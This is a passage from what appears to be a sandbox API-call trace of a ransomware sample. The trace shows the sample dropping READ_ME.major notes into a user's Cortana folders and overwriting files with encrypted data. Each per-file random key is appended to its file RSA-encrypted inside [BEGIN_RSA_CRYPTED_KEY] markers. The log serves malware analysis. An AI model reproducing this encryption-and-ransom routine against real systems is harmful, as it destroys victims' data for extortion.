lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2412562, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3bf615b5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x3bf615b5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="ConstraintIndex", cAlternateFileName="CONSTR~1")) returned 1 [0200.114] SetLastError (dwErrCode=0x0) [0200.114] GetLastError () returned 0x0 [0200.114] SetLastError (dwErrCode=0x0) [0200.114] SetLastError (dwErrCode=0x0) [0200.114] SetLastError (dwErrCode=0x0) [0200.114] GetLastError () returned 0x0 [0200.114] SetLastError (dwErrCode=0x0) [0200.114] GetLastError () returned 0x0 [0200.114] SetLastError (dwErrCode=0x0) [0200.114] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10d0 [0200.123] WriteFile (in: hFile=0x10d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.124] CloseHandle (hObject=0x10d0) returned 1 [0200.124] FindNextFileW (in: hFindFile=0x30fb180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc42f8885, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x520331de, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x520331de, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="DeviceSearchCache", cAlternateFileName="DEVICE~1")) returned 1 [0200.124] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\DeviceSearchCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\devicesearchcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10d0 [0200.125] WriteFile (in: hFile=0x10d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.126] CloseHandle (hObject=0x10d0) returned 1 [0200.126] FindNextFileW (in: hFindFile=0x30fb180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1edc172b, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x1edc172b, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x1edc172b, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Flighting", cAlternateFileName="FLIGHT~1")) returned 1 [0200.126] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\Flighting\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\flighting\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10d0 [0200.128] WriteFile (in: hFile=0x10d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.129] CloseHandle (hObject=0x10d0) returned 1 [0200.129] FindNextFileW (in: hFindFile=0x30fb180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3086b69d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3086b69d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.129] FindNextFileW (in: hFindFile=0x30fb180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe43626, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x81e596b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x81e596b0, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="speech_onecorereg.bin", cAlternateFileName="SPEECH~1.BIN")) returned 1 [0200.129] FindNextFileW (in: hFindFile=0x30fb180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xefe43626, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xefe43626, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xefe43626, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="speech_onecorereg.bin.LOG1", cAlternateFileName="SPEECH~1.LOG")) returned 1 [0200.129] FindNextFileW (in: hFindFile=0x30fb180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xefeb5d90, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xefeb5d90, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xefeb5d90, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="speech_onecorereg.bin.LOG2", cAlternateFileName="SPEECH~2.LOG")) returned 1 [0200.129] FindNextFileW (in: hFindFile=0x30fb180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xefeb5d90, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xefeb5d90, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xefeb5d90, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="speech_onecorereg.bin.LOG2", cAlternateFileName="SPEECH~2.LOG")) returned 0 [0200.129] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.130] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin.LOG2", dwFileAttributes=0x80) returned 1 [0200.130] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10d0 [0200.131] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0200.131] ReadFile (in: hFile=0x10d0, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.142] SetFilePointer (in: hFile=0x10d0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.142] WriteFile (in: hFile=0x10d0, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.143] SetFilePointer (in: hFile=0x10d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0200.143] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.143] WriteFile (in: hFile=0x10d0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.143] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.143] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.143] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.143] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="he5sYrBBzoxTqht0Su73hSckPgTWJfwNRLLp+Yoc3qBeBilcnwslbTTQb1QPcZ3p\nCFZ+CTg3PlYnSzoeTD45RCkIKoTu6ThgGSpelCqyal9oMSDMutNacVQ5+c4RA49C\nTT3z3ZUT8CLAhN2kK2XijF4aEDA4/2YkCQbPJ5bK8CW1dJaMWHgKJCFlpu5M+tJX\nkz14wbPUrtcylvN7UrFM+VskAwAg7AcKm9nH0IUMkSSKYPYNRftEEH33tyS0anuu\nocLYnSK38zbCff9AevAbRuWbmHbsQI/V8qvFPv9J7rsZxHVxcVf6vvXS1ql81O19\nRC6/D14r0IU3xP2Fpnz1Fw==\n", pcchString=0x2e3f9a8) returned 1 [0200.143] WriteFile (in: hFile=0x10d0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.144] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.144] WriteFile (in: hFile=0x10d0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.144] CloseHandle (hObject=0x10d0) returned 1 [0200.147] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.147] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin.LOG1", dwFileAttributes=0x80) returned 1 [0200.148] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10d0 [0200.148] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0200.148] ReadFile (in: hFile=0x10d0, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.155] SetFilePointer (in: hFile=0x10d0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.156] WriteFile (in: hFile=0x10d0, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.156] SetFilePointer (in: hFile=0x10d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0200.156] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.156] WriteFile (in: hFile=0x10d0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.156] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.156] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.157] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.157] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7j6qP7ixp1mncV80TZkVO/a4I4jDfnvlcDjUELL6nygZikuTFkWnb9yXKUPgU6Gz\nbNKVdbGY6OteOt4M3+OT+VqT8X8lA1hsySbF9iuPKHYtZoLAlJg3liIQoVm5DAFo\nVz7TtvcNzTBBDsLOCQgg/Tu5++Zha5N2fvBpbqVMinX2wx34f1h6KqDWOSREeAaQ\nfuthZu0SjnL0mbYPxq7fz4T7sta4JZr9LJbuW8jIezO1KNZrtwrfsYnPelNlJsQ4\n9Gf/Uyt6Ku4zqIMBSQnteQy+p1yul1t+pDYE+7C7NvEdLm0Egt91GAhbE4prZECB\nYzMXcHgB8vqraH2rycxvkA==\n", pcchString=0x2e3f9a8) returned 1 [0200.157] WriteFile (in: hFile=0x10d0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.157] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.157] WriteFile (in: hFile=0x10d0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.157] CloseHandle (hObject=0x10d0) returned 1 [0200.159] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.159] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin", dwFileAttributes=0x80) returned 1 [0200.159] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10d0 [0200.160] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0200.160] ReadFile (in: hFile=0x10d0, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.177] SetFilePointer (in: hFile=0x10d0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.177] WriteFile (in: hFile=0x10d0, lpBuffer=0x2f938d8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.177] SetFilePointer (in: hFile=0x10d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0200.177] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.177] WriteFile (in: hFile=0x10d0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.177] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.177] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.178] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.178] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dBThZE1tAXhiVVMQzh21GgJGhqejmEFxiTu8cJWYtU6EsoBUk+W9EgT/NR2Mrn3d\nfzPCHdlmnOC4wjfJZ+KgH/yGWcKaDorxlTkyK5tP1jgStAMCMbO+U36cg/tK14J4\nUwuKGyzfpsVLsS+K4yb8kucT6HYoQsJz3PMOqv10UJgaJ+s3dECpGOufZxlaCf49\ny0eT9+liAFyR9XvfP/IpAz7dOcnUXb7SeQoA2TbryEEh2+2CNqA1bYZqvrM3Rb5+\nB7OG64dacURfgW7zLQyVttg+mty7bDZq7zE/FI1+QAe/4d3f2KpGPaLxis9ZcWUY\n5T/v2TidOvQNRxU2uN5+dw==\n", pcchString=0x2e3f9a8) returned 1 [0200.178] WriteFile (in: hFile=0x10d0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.178] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.178] WriteFile (in: hFile=0x10d0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.178] CloseHandle (hObject=0x10d0) returned 1 [0200.180] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd082fb18, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb1c0 [0200.180] FindNextFileW (in: hFindFile=0x30fb1c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd082fb18, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.180] FindNextFileW (in: hFindFile=0x30fb1c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3086b69d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3086b69d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.180] FindNextFileW (in: hFindFile=0x30fb1c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3086b69d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3086b69d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.180] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814fb197, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712cc700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb4c0 [0200.181] FindNextFileW (in: hFindFile=0x30fb4c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814fb197, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712cc700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.181] FindNextFileW (in: hFindFile=0x30fb4c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3086b69d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3086b69d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.181] FindNextFileW (in: hFindFile=0x30fb4c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x814fb197, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x814fb197, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x814fb197, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0200.181] FindNextFileW (in: hFindFile=0x30fb4c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x814fb197, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94ec9d0, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xa94ec9d0, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0200.181] FindNextFileW (in: hFindFile=0x30fb4c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbfaff70b, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 